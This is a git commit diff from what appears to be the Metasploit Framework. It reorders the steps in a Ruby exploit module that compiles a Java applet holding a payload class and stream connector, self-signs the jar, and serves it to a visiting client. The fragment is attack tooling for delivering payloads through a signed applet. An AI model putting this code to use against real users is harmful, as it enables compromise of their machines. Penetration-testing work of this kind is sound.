Move applet generation up for slight speed improvement and less spamminess to the user.
git-svn-id: file:///home/svn/framework3/trunk@8281 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7c4d7c3d71
commit
9891d60dfc
|
@ -372,36 +372,38 @@ public class #{datastore['APPLETNAME']} extends Applet
|
|||
end
|
||||
end
|
||||
|
||||
appletcode = get_code(cli)
|
||||
|
||||
print_status "Compiling applet classes..."
|
||||
compile( appletcode['classnames'], appletcode['codefiles'] )
|
||||
|
||||
print_status "Compile completed. Building jar file..."
|
||||
|
||||
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
|
||||
@signedjar = "#{datastore['APPLETNAME']}.jar"
|
||||
|
||||
build_jar( unsignedjar,
|
||||
[ # Applet
|
||||
datastore['APPLETNAME'] + ".class",
|
||||
# PayloadX class
|
||||
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
|
||||
# PayloadX StreamConnector for pure Java payload
|
||||
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
|
||||
|
||||
print_status "Jar built. Signing..."
|
||||
|
||||
sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
|
||||
|
||||
print_status "Jar signed. Ready to send."
|
||||
|
||||
# TODO: gzip data and parse in java
|
||||
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
end
|
||||
|
||||
appletcode = get_code(cli)
|
||||
|
||||
print_status "Compiling applet classes..."
|
||||
compile( appletcode['classnames'], appletcode['codefiles'] )
|
||||
|
||||
print_status "Compile completed. Building jar file..."
|
||||
|
||||
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
|
||||
signedjar = "#{datastore['APPLETNAME']}.jar"
|
||||
|
||||
build_jar( unsignedjar,
|
||||
[ # Applet
|
||||
datastore['APPLETNAME'] + ".class",
|
||||
# PayloadX class
|
||||
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
|
||||
# PayloadX StreamConnector for pure Java payload
|
||||
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
|
||||
|
||||
print_status "Jar built. Signing..."
|
||||
|
||||
sign_jar( datastore['CERTCN'], unsignedjar, signedjar )
|
||||
|
||||
|
||||
# load the jar file
|
||||
if File.exists? File.join( datastore['JAVACACHE'], signedjar )
|
||||
path = File.join( datastore['JAVACACHE'], signedjar )
|
||||
if File.exists? File.join( datastore['JAVACACHE'], @signedjar )
|
||||
path = File.join( datastore['JAVACACHE'], @signedjar )
|
||||
fd = File.open( path, "rb" )
|
||||
@jar_data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
|
Loading…
Reference in New Issue